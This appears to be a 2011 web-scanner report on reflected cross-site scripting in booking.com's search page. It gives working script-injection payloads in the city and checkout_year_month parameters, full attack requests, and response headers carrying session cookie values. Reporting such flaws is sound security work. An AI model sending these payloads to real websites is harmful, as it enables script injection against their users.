HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:20:19 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5F%2B8LyEAy9%2BENkbBkfkD3xhmWaR2GVCPzzKfUTiby6MVy7BO30HJ3O9pLiRU%2BmjHeEQw7IVRPh%2BJlCBA6Rg9LeHlyVInUowzj92f0uZRiZ3zREWkxGzzctCPIkvIgmCBgVE7HG2EUgxqaaYsBnRjvOFNwJnK1E10WP98kj12MLYEpA2qGv7iIHej9tJ6yq4lrodaa0LgjERYrKGSiuk4pzNPhT81Tb05jjgaoOpX%2Be1G74P%2BI8qLRNm3n%2FfBjZ63vqR5Klv3HnK%2Fu10sz3AILCjNTqYk2GbEogMX3Q7BZxqjZu%2BRa%2BsIS7Z74wEjXDgFdTq3WzZ31Pvm%2FF7BoFfo%2BkL1UEStqg%2BFXgeFPtcdhqwSwzvUCe4dloObgBvuf56hTXCikBWZxZESOalIIMPtA3u8ry1t37PWvOJdj9O9dT1XPU4hVo6PE8%2BI6WxJcLAxgaa%2BBB8qRL0pmnmV73%2B1TUNGxc5enITyYDEMasrT3HrzWfSbn2Xt%2BjZwsbfrmcCtBNsJpJYFUU1w1bedldOMeVR3BXgA8lDkcYo8K%2FTTYAIyHA0Lsr09JokMs5ALka3cQtZCNMuO2EFyV2kAt7hIOEbQmvxb55DcpxZNcbN1VtSBNRsoejhBAgGxzOLIkGWSz4Hyr3t6XtOJZa6%2F1qllBOMABsviYeA3G35Ecky4fNVtZ33zbF7AVwZRd7n6nLw6YHE32227sh4B8VL2i41%2BDzYJNeuIuTxxrSvxp7VDQFXzlDkv4rcaDsR%2FBLPM1tTG8JOBPE6Q2%2BxU7i5NDdLLAVjGlI%2B0bpLrragF5REg29Fp6lh2ElQnuo3mKbUfvDT%2BtfFYjmRZI2yz7UtbRIxrZmngAKoSXVyb7ive7rxYiZkIxQZUh0BPJ1OUFIKcmT5hpooSTJLq38TYlNLr7QWdAF7YF%2BQti%2BFeMXefR3pMO2U7eF%2F0tLMmmZqJdDJaglUgp0r64jc6mfRyB14Dxm%2B5dd%2BOOOAaaEpgpeoBQVy0EsQRQVv8ydRCv2fzE%2FApk%2BEFcHYMmMmiXesyKPBDoPSOCrBTpeA2RJlHnuTPu9KnWmE1sUS7lal1ZhPj0ruyxACkRlb1Dnk2saemzYg2PHnns7V%2BNdIUdFJlCKp8Ocs62mJjW19yGvZZ3j445lGhyLrnAqH9AbJJ5qIZ63XRTe%2Bq8oAYIfXLu5RT6XA1Nr520v69IfC8Ldh9lDRrY1mfvbdFBXbQZ%2BAL%2BrXRqPAtZrmVYfK%2BPou%2F%2BZ4e%2FpmMH%2Fgir%2Fy4vCXhSV%2FU7nbxLJsVBf1JVXay6ozBkqj34prs5hvCIA75fTpA3DvwQ%2FidlvUr4nO0Wmqr2BWcJVidx0amQjZ5bgypmX%2BX49Fp0D0tWT0q60dD3Xk7DmsN86Hmq74oRKHieX7I5Mip7AVDp65CTOl%2FAiqBvpx%2FQYRe1HN42RJRGu27Hcr9v52E7YISkfl%2FLdINgkvPNWV8ndg%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:20:19 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 267221 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkout_year_month request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ffa6"><script>alert(1)</script>558c8ba7e66 was submitted in the checkout_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-104ffa6"><script>alert(1)</script>558c8ba7e66&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:21:13 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDblaNcgygeBHdE9Iiq6hiTqoOuVSa5d5qA8G933RR9JZEMeKyBF3iXy5IV7SWB2Rm%2BJu%2FS7rRKblOQWDKAIIa3zOOjG8HnHIMCMTIAYH96r4vnMDn4hVMpaoWqMN99reFqurSwqilEKN1PrULubwyckXc1TvPQ7lppvCjITG2c02aj9wyuptZvLQxSwozEUDVCRDcBPcGtfYmV8e%2FkBh57BZ%2BS9UDUr0XtV27vUQKGqXHdvhwqOxWjp6xQZ6VDVOOxePM%2FNhkbXqwPET4vbX2k8BO94UgvtPkObwxIUUTQMK%2BnMyltezEFfqDTSEE%2FQgKagA4d0dcivnNDysp9VymyfmbRGAVjyfwktifeQKCkrNR4EpHZM8I0PRYAWxYNUHljqb4WLA5j0rvNMArpfS32dS0UnaFa9YoMnNXQStSAJZbVr86x8S%2Fjh7JRHywVnx%2F4hWMWl9o1Y46IR9Qv3R7jrR3xYNriItNCylUqYUEu%2B61opsa3ogheFDWnwcjN7iMMEPHi%2FpNQLMTA%2BMjPCubmqu9LNESvP2geV71Pw7rw8D2Z63%2B%2FDc%2FVpyhoXWJSYVT14OAgBU79IOfNWx%2FUfA8a86v3RuqFMhiJ%2BZqOCGASysLvZCEdItR9Mwjs%2Bbm%2FM7H%2B0vt91pBecBin%2F%2BmXJ2Mlv61rd%2FVyEBsWwc%2BkQTXvWQ8iy2qSHuNN5zwKD0PeZj3cEZk04VKx2d5Fk5B9V%2B%2BjH3EBhdfA7x8QoSjFSLx4m%2BjW9lpIzXt2FNu4m9GAzxLA7NWlQPhXAeOt6GiDtC%2F4pgQmtxfWpw9P5X%2F31DBQaFZO9ihRTr%2BBGbA8tiJgKjHFkeswABUqPzCDeVemrqtxhBeIYFI59hH3U%2Fx%2Fx8bNz281CB2RhCdI3C4ZBScsixTxyxnXMmJb4ueETZ%2Bno7s0HiMyH3as3oyeD2BS5t32gYuXH6NiZsZF6CuKnepk2vwr552BQs8k8a2aqEuiJSnP%2FKB6yA57752uXApW1mIE9cujvwOWrWOTAV42QxM0pP1rCPNlUGedPLKSQK15PF5DN1Zp%2BmNC7mYXJV2SnNX27lgivMuRPn9W1GbmcZdVF27cBhmp1LNTgFt%2BIWRJnrV4lVcwRDNIWQoY6JRgTzhdL9Y9Ywma%2BbnPFvtE9D6QctByv%2BXNxTgmjBbnpvnch3cnlhIjFzai6VAxqxZJGAogok5ZwjXX6ufXXIO9WFokfAdqMJL7Rba8I6Wbv4dg8p89GLWVzGQUWh70mr7WxIwVa%2BtGndX1VFUfKV23bvDSMsVJLZyvJZ%2Fv2oV%2FLRTw2a0x03B1Hmgei5X0jd6IIjSimgKl%2F4nuP97tX3Bt%2FSwTkxUGrc%2BVK3EiylmY55%2Ftjcip138nHkpDWuT%2FvhiRFTf%2BFNWmSwDFqh%2FlLGUK4zteSMt09KVkUghSi1oJMKnl497vOz6ooVQtgR0EAKiPjT1g1omKBAvEw8wVQ%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:21:14 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 275535 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the checkout_year_month request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b91ee</script><script>alert(1)</script>53f99955b17 was submitted in the checkout_year_month parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10b91ee</script><script>alert(1)</script>53f99955b17&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:21:41 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5F%2B8LyEAy9%2BENkbBkfkD3xhmWaR2GVCPzzKfUTiby6MVy7BO30HJ3O9pLiRU%2BmjHeAghaEqdpI0sWrfrPQoZsDjHuqQLaOOyEtkQqeR3CSO3o0YQ0OdU7%2FTulVsRFOKol7qaucnXEddDTOiWnUxPng655yrv7j0OnPbiANbKxMmMVUcO7TD4jq7StNe641WxIo1hKXeC%2FY6xhxMwbleoTm%2Bdcr9GhZzEGlmDT4FOr11YIUKTPXO595HaWiAzqprNhSsrn%2BwgmIwRdVElEcYlsDWwKIhhdJAcyks3AvzF0fzxUbTTBaCfi2z25XU4RMilJiE3b%2BGcO76qiXtdBiwvSRXnAWWETITcRNnIqerN1vS93Sqsin50JCdB41XoMj5DAznAh1DfrjJdhciUMNw58L9QV0E%2Fp85dysV2znLmWy0pToeKMBqFmHDz9ozl7Gh40OeuV1WnwTW%2FD%2BROFSISj0UrhfSyFw4wi8cR2wnTboCKPkvSE36IYJr51nGpbP4O6ZyBvVEnGjCMQkcuMKlvgZFsVA3%2BuLZoF7SP4sk4%2FRaDFQsVW%2FpSWlunwGpuunjoSBLnP%2BWvj%2BZ1XoLnmqYPTXCpVFoIKmeuCB22vHMUj95qDuLYq50rodOkiv00fKeH8gk5eCEspyOMncJJoehaMl0dW71UQGnmI1nOPQuyDdpmcpl7flquS67uIurk76LpAxez%2BxtZ0J5tPSfKlbPfT7HNyZLYEi2yzSafxYI%2FKZWf0DPcLVc%2FMXBXvbExWaTOyizFy8E%2F2QRPAYX6kt096xHaE8KjI2AsqbIHR2Mdk9Jx9IGfi9emUM3M2RtLjCe3NJkp7Z%2FTsafci7WggjIFrh%2FDbX9vKfeXcoXrdgLglYiZOIwzL9mBUpIgqVGxOiDUbgUsaGPK1M748iR7UYlfm0yFnJDiYdfAbH4ItD9c9dw5KLzGwhWQg8guuwDCGNyIBxm8BJdBkfHYanf1ao2VBnBqcvjFeEWPs7bXsFMBbvghd8WvpCJlexsbFIcpmJnYE%2F7zt%2Bnoht%2F54gB0b9ONvTnvlQrDm1wVQmJ80NFqDMCZVBx%2Byxvid%2BvkpciMfPWigTJ%2F6sNdpkzQ5Wam7AoGR0zaKCYhIISTo1kF7he97PwwqepQS8y%2BISWsX9ONkD3X9H0GiatGlVDYQBfU3vGS2LR4AhpHMjj1Ny6Y1McR1WhdodBwUc5%2BV7KGrR7XkkUjGeoXW1TGSn0yGhbDvi3Ve8wwqg49QcsBfVuwBSAsf1MKC7UYzNdp2DN9%2BLoUK%2FcPJhIW1ACbJN429NjVDEMxZOYFsaH3%2F%2BW32CIambsCCXTFTpzdcehxgGh%2Bdk1eWXvZZk8fFvDY%2FLWCAOK2Xx%2BAeyrwZBIJy3CMJ5miaS4GVNA6d5YiGnk3RtfpSsy4Il30sBlYFyli3XIPldt3bEnEInvdG6skszprUmnkyJcEI0VpOyq52Q0caBA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:21:41 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 275555 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the city request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d18f2"><script>alert(1)</script>d04cfe96766 was submitted in the city parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717d18f2"><script>alert(1)</script>d04cfe96766&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:11 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YVuoakmCuggKLF5DCyLyMK%2Fe%2BQ2GDMIsKJ1LcnaZGfXkgdWE14LACJyrSTbo27TKWmCpv3%2B8mndKVr09Xx6h5JHb7OSkHRVc1phxWcT6cfEf92NaVltPhi9zguRdOL8PTJ6vnFKJytxRHGkrkN0fHRT76M4pfKPOzdpEjIBwGkhE9F8NspuqSUfgBRD0OyIDLgFj1qX28wKkpB5VhcIL%2BhwjWY42CulfLKv6iemb%2FrbYBK5A1UhCq%2B3VdTd8sIU%2Fy8YGt%2FE0I0uoyW6Xi0YR4V5%2FsI6psC7%2BLhGRTotwa2M890oK2ixfL332hZ%2F8BkvUubop6aLha2aliYJJFubhyciLodLv%2BMqZXYckCzoEmV5iz9b2jBIax%2Bd%2FJevYnI2SWWZ2BWqg8WVSnGHCb0W1HpOE5KEnQm0wKLwJtE87PH8lsjjtleAasDQhBJhm%2BfEOWI%2FtDRnSHSie8FXJTgKiZeiwOTxV2yImVzU6UtPUTasypDlP99IE66ggkcaMZQTsQMBEoO%2Bf%2BnCr592VgLPcQrIGSFJEn75trrp6V50wegcMwreUa8qjeMC%2F%2BJ4elnDx%2BDY%2BnIkFEgvnUZV5nZFrrqBy5VrEQcbugdHiFNbqSr%2FEfn3E%2BR2J9lZF1FC%2BwRSK84kAKSwWofPQlYJfADJprkZ28%2FbfZj%2B9%2B1VE1In8%2FLCCSCqY6DIffl9iW279o%2Be65SlMLmQtmuniE4WRP0Zo0GbVSqWnvxPQ01pNllMJCQpGRZ2rq0b5UiT3UaqsSUz5Dx9ElLdB25i9qRwE2uaAlUMLJlbgKrGxYmqX6vCGrxCK9q66QPwfzW9YtmRvM36YK93FHhplLjthxw7I3qJGBLcy6OvnnxfcjnLCK1HvlT5NVnWcHV9HmqDwT842eGZqdAs9YCMYS6mfk4gcoZnrGTiEZfZsKIyimK5ezvMtohmUGU38agdXyTvCR9kDYE9oDedOOgWEcUAvZyPPDqdKgn8Xsp7avOQoOVc%2BHiqqjzEi4Bnjy2rs36r72q0vLUl8B6U0k0Skrm2FBszGhEZ%2BNv29y2sw38ptLHuHlraPoceo%2F0P9kcIR1YdMvMK%2F%2B2l1YjYzgIi%2BKT3sIzXnz1k97TqWk4tKyL7576a8bZ75ZFdIQ%2F%2BbQnn99JsZhVV%2FgCFBazbOJp6UkIgyRTz7VcZuhhjvsqk89vFMWp1qeLXkSza%2BZcO2KNk%2FxOfHswIWvWjdMdyfmlFYx6TH4VbC44U1skQOgQO9TlAFC6%2BY0zN9xv7NQhMrR6H6JuYnt%2FtksSmG9nQeE%2FPjvUYOoy5%2FPG4eytBSIow6t3D67NRNdkKL%2FaLocr7iDwgvTfQbc%2BDjGf6tgOQjrwCM9kQQJl6JMCW7Ctgg8fJmRNtSeFhUNcX6nusw4hsas6oFSULf97hrcWu0F3jSXDRgrhBdHJyFZEZxcUizUlPo%2FDXfDdOP7z4CO4aw; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:14:11 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 74083 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the city request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 31107'-alert(1)-'d919aaa0e9d was submitted in the city parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=2006171731107'-alert(1)-'d919aaa0e9d&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:14:21 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR0kCPIILsWbZ8r5u8%2BxLxWndBreImM%2BIVq7jSpNwrIn5x6S9Oba%2FZTPkxANiQmHNrXoGm%2Bq4E6BqlJKU64iUn5IQE61rl2F6Ga0hw7r6wqzFlNKZDRZc%2F2eIOmGLotnbibM9VCJ8IopU8FybKvy2GovF7WPdJCa4RrrdH%2BGhJBfwmDOCL4zGorgVXO2RSJJbLET%2FL%2FB%2FvVHwawU5l9FAiJvzCCxfMkk4kJyEZM9j3Avkz%2F%2BlOCoUpviOLhQ%2F4lql8YceqVlHOVUmDnb0gbIHfmvecUlfFMuLDEN8qXfSDWEi8HG5h%2Bvsg%2BderYyWv0nJoRrGlw2CZRFxDYK%2F4%2BLiKapYp699AZkxVBt68pEC26LryVkzlEZH2KCxoRcm0oCqdfGMz%2BmLufLmoWu7bTW8QpMGLD3dlwHLBD069OLHtl5p6kDxRN%2BPNVvM3f%2Fq959awQXwlXH5W%2B0Fwt%2BoMzp9nAZOoiQw8tCHVLEIHoTiwrrwQZYuGAVeCfu3OOwM1jJ5FN7ZRSrVJDUwW%2F0jWXHMvUKjczfl2oHyDueSHfNuH3JMKgibSryEcAwKWRG2y7JouV8cby9DPFjyQD9clqp7qWc7L9DFzfyZz0i1pNHyIxWlV1kEB5lDGhuIUYo0A37f3vBxl5czltIfxbs7RrByiVRDRH%2B0AYSm0F6ViZzj%2FYsifguql8eNysExs6G68H7el6mfV8ua2rBR8Vh3SvhB2rOZ1GZWVDikHfgVlOdEQy87PMZTlRYQbx%2BPjegWF9NhfgqxvrI3soVDzc3iwX9sxnxQm14x8MCZJTpHEEPk3LDgBDo9OKxVnem7KX4Bp3s73aeppi2xvwbU2ZN81xMqUsi6xOwdAAZA9Xmu12Eo1K9z%2Fnd%2BpzpHd7G54KPrNoLPM0IniEpT7swwlNJDFRT1AgzltAG0ZOSVlxhrm99S236MK0Rnjwc2V9eBYskhO1M4VXW3utdsYxkQYVTnhTW4wXTkF981KP2xsYI4PLNSJOaeKjOwvHcAqsPtNNFSyWHLBn3VWQoywezzJt3RyRRUxb5OlK0Q7bRPasOliNKNbcSazRUje0N4Nz7Qqk6CkdaqpjfiIHJ%2BObCawRuA2Kd3U3Lt3sra6odyDD1%2BGoRtuRP2zodANjdZ0IpvA6m0cLXkaJwTVjCQD2hJhCmaOSfJ%2FCw2XnJ%2BWIz4QUf4d5HFVxqIcOLwUcQ0dKBiPNbo959XwTmyibY7xVZ1KwyKlxQ5WZwHm81cTAfxmGAz48eOBN%2F2oc3h%2FAAaLV4zplC95bWKMljh1r%2BoN1TEYjDOJUA14FYZwvmCcbSu2%2FGT7UUXz%2BXBu5XFPpARvc2TrT%2FiEIhRM5G8UX5XApEfJOOaeeRjhUZ47EohH%2Fz7mj%2Bn4Yxo4uCcUST7pxORoNyBQ6YdhI36Ydps%2F2eTMM2%2BcwJ7IPPMbgs%2FOxygQuTY5w%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:14:22 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 74024 Content-Type: text/html; charset=UTF-8
